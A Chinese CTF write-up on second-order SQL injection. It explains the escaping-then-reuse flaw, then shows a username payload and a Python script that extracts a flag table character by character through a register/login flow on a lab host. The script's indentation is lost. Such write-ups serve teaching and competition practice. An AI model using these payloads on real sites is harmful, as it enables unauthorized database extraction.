二次注入漏洞是一种在Web应用程序中广泛存在的安全漏洞形式。相对于一次注入漏洞而言,二次注入漏洞更难以被发现,但是它却具有与一次注入攻击漏洞相同的攻击威力,而在CTF等各类安全竞赛中,二次注入也是常考的点。
二次注入漏洞字面上理解就是结合两个注入漏洞点实现sql注入的目的,但是这其中还有几个细节需要讲解一下。首先,第一个注入点因为经过过滤处理所以无法触发sql注入漏洞,比如addslashes函数,将单引号等字符转义变成\’。但是存进数据库后,数据又被还原了,也就是反斜杠没了,在这种情况下,如果能发现一个新的注入同时引用了被插入了的数据库数据,就可以实现闭合新发现的注入漏洞引发漏洞。
漏洞环境
http://111.200.241.244:56780/login.php

通过dirsearchj进行目录爆破

存在路径http://111.200.241.244:56780/register.php

注册账号1232@qq.com;test;test登录,用户名显示在登录后的页面上。

这样这里有可能存在二次注入,当我们注册时,后台的SQL语句大概类似于
Insert into users (email,username,password) VALUES (1232@qq.com,test,test)
在登录时,通过查询邮箱名显示相关用户账号,后台的SQL语句大概类似于
Select username from users whereusers.email = “1232@qq.com”
这里对于mysql存在特性,+号在mysql作为运算符,如果将username的参数值修改成为如’0’+SQL语句+‘1‘,则select ‘0’+SQL语句+‘1’ from users where users.email=”1232@qq.com”,其中的SQL语句就会被执行,最终该SQL语句执行后的内容就会显示在页面上。
首先进行fuzz,看看参数值处过滤了什么字符,便于用于后面SQL注入的payload构造。

可以看到逗号,information等字符都会被过滤,因此构造payload如下,表名通过猜测得到,
0'+ascii(substr((select * from flag) from 1for 1))+'0
注册是邮箱名为1@qq.com;用户名为0'+ascii(substr((select * from flag) from 1 for 1))+'0,密码为123456,成果注册后,登录,获得用户名为102

编写脚本,自动化获取flag
import requests
import re
register_url ='http://f33ca159-6a00-4a4d-8718-b833c42e6a83.node4.buuoj.cn:81/register.php'
login_url ='http://f33ca159-6a00-4a4d-8718-b833c42e6a83.node4.buuoj.cn:81/login.php'
flag = ''
for i in range(1, 100):
register_data = {
'email': 'test%d@1234.com' % i,
'username': "0' + ascii(substr((select * from flag) from %d for 1))+ '0" % i,
'password': '1234'
}
#post提交注册payload
res = requests.post(url=register_url, data=register_data)
login_data = {
'email': 'test%d@1234.com' % i,
'password': '1234'
}
print(login_data)
res = requests.post(url=login_url, data=login_data)
num = re.search('<spanclass="user-name">\n(.*?)</span>', res.text)
flag += chr(int(num.group(1).strip()))
print(flag)







